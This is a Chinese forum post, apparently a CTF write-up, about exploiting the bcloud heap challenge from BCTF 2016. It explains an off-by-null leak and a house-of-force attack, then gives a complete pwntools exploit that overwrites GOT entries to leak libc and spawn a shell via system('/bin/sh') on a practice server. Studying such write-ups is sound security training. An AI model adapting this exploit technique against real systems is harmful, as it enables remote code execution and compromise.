首页
社区
课程
招聘
[原创] 一道house of force 的heap题目
2020-1-21 18:49 6653

[原创] 一道house of force 的heap题目

2020-1-21 18:49
6653

bctf_2016_bcloud

找赵师傅题目复现:https://buuoj.cn/challenges#bcloud_bctf_2016

 

一道考察house_of_force的题目,思路如下:

  • leak heap

  • HOF 分配chunk到bss上记录chunk的大小和指针位置,这个时候我们可以任意写

  • 修改free_got 到 puts_plt, delete leak libc

  • 修改atoi_got 到 system,getshell

最开始拿到题目,找漏洞,发现如下:

  • myread有一个off-by-null
  • add malloc的size是用户输入的size+4,如果malloc(size)的话,由于存在off-by-null,还可以试一下unlink
  • 我很怀疑输入getname和org,host有洞,但是没看出来
  • 测试了几波数据,发现name输入0x40的话,会leak出来数据,本来我感觉有点奇怪,因为read函数中是有截断的,怎么会leak出来heap呢?

原因在,先read了0x40,然后temp指针的地位被覆盖为\x00,然后给temp赋值,截断被覆盖掉了,然后strcpy的时候,由于没有了截断,就leak出来了temp的内容。

 

图片描述

 

这个洞在后面还有
图片描述

 

这个位置上,如出一辙的,出现了溢出,更为严重的是,org是与top_chunk紧邻的chunk,org会溢出到top_chunk的size位置,可以将它覆盖为一个很大的值,这样。我们就可以满足HOF的条件。

  • 开始写exp
  • 准备工作
~~~python

from pwn import *

from p4f import core



context.log_level = 'debug'



p = core.Pwn("./bcloud_bctf_2016","node3.buuoj.cn",26009,True)



def menu(idx):

    p.ru("option--->>\n")

    p.sl(str(idx))



def add(size,content):

    menu(1)

    p.ru("Input the length of the note content:\n")

    p.sl(str(size))

    p.ru("Input the content:\n")

    p.sl(content)



def edit(idx,content):

    menu(3)

    p.ru("Input the id:\n")

    p.sl(str(idx))

    p.ru("Input the new content:\n")

    p.sl(content)



def delete(idx):

    menu(4)

    p.ru("Input the id:\n")

    p.sl(str(idx))



def z():

    core.Log("heap = ", heap)

    core.debug(p)



elf = ELF('./bcloud_bctf_2016')

atoi_got = elf.got['atoi']

free_got = elf.got['free']

puts_plt = elf.plt['puts']

~~~
  • leak_heap
~~~python

p.ru("Input your name:\n")

p.s('\xff'*0x40)

p.rn(0x44)

heap = u32(p.rn(4))

~~~
  • HOF
~~~python

p.ru("Org:\n")

p.s('\xff'*0x40)

p.ru("Host:\n")

p.s('\xff'*0x40)

topchunk_addr = heap + 0xd0

target_addr = 0x804B0a0

true_size = (target_addr - topchunk_addr) - 0x10 - 0x4

add(true_size,'')

~~~



计算size的方法在ctfwiki中HOF的章节:https://wiki.x10sec.org/pwn/heap/house_of_force/
  • 控制size和指针,leak_libc
~~~python

add(0x200,'a'*0x80 + p32(atoi_got)+p32(atoi_got)+p32(free_got))

edit(2,p32(puts_plt))

delete(1)

atoi = u32(p.rn(4))

obj = p.leakLibc("atoi",atoi)

system_addr = p.libcbase + obj.dump("system")

~~~
  • 改got,getshell
~~~python

edit(0,p32(system_addr))

p.sl("/bin/sh")

p.ia()

~~~
  • exp:
~~~python

from pwn import *

from p4f import core    



context.log_level = 'debug'



p = core.Pwn("./bcloud_bctf_2016","node3.buuoj.cn",26009,True)



def menu(idx):

    p.ru("option--->>\n")

    p.sl(str(idx))



def add(size,content):

    menu(1)

    p.ru("Input the length of the note content:\n")

    p.sl(str(size))

    p.ru("Input the content:\n")

    p.sl(content)



def edit(idx,content):

    menu(3)

    p.ru("Input the id:\n")

    p.sl(str(idx))

    p.ru("Input the new content:\n")

    p.sl(content)



def delete(idx):

    menu(4)

    p.ru("Input the id:\n")

    p.sl(str(idx))



def z():

    core.Log("heap = ", heap)

    core.debug(p)



elf = ELF('./bcloud_bctf_2016')

atoi_got = elf.got['atoi']

free_got = elf.got['free']

puts_plt = elf.plt['puts']



p.ru("Input your name:\n")

p.s('\xff'*0x40)

p.rn(0x44)

heap = u32(p.rn(4))



p.ru("Org:\n")

p.s('\xff'*0x40)

p.ru("Host:\n")

p.s('\xff'*0x40)



topchunk_addr = heap + 0xd0

target_addr = 0x804B0a0

true_size = (target_addr - topchunk_addr) - 0x10 - 0x4

add(true_size,'')



add(0x200,'a'*0x80 + p32(atoi_got)+p32(atoi_got)+p32(free_got))



edit(2,p32(puts_plt))

delete(1)

atoi = u32(p.rn(4))

obj = p.leakLibc("atoi",atoi)

system_addr = p.libcbase + obj.dump("system")



z()



edit(0,p32(system_addr))

p.sl("/bin/sh")

p.ia()

~~~
  • 总结:
  • 这道题这个洞见过好几次,每次都想不出来,tcl。记录一下这个洞。
  • 但是这个洞主要是用来leak,用来溢出的我还是第一次见到。
  • 对于这种leak,以下条件可以产生:
- 用户输入在leak的内容前



  - 如果没有截断,可以直接输入满,然后就会leak出来之后的内容

  - 如果read函数存在截断:

    - 检测'\n',如果检测到'\n',则替换成'\x00',这种的话,只要在输入范围内不出现'\n'就是没有截断

    - 不讲道理,到句末截断,不管最后是啥。这种应该是leak不出来的

    - 第三种,就是这道题的,存在一个off-by-null的截断,如果之后覆盖了截断,就可以leak。



- 用户输入在leak的内容后



  应该是没有什么问题的。这道题,如果先声明指针,后声明输入的buf,则不存在leak。
  • off-by-null的利用:
- 这一种leak

- 可以修改下一个chunk的pre_inuse,构造unlink或者是其他extend


阿里云助力开发者!2核2G 3M带宽不限流量!6.18限时价,开 发者可享99元/年,续费同价!

最后于 2020-1-22 09:08 被wx_yz编辑 ,原因: 错了一个数据
收藏
点赞1
打赏
分享
最新回复 (1)
雪    币: 54
活跃值: (25)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
中国石油 2020-1-30 17:36
2
0
感谢分享感谢分享
游客
登录 | 注册 方可回帖
返回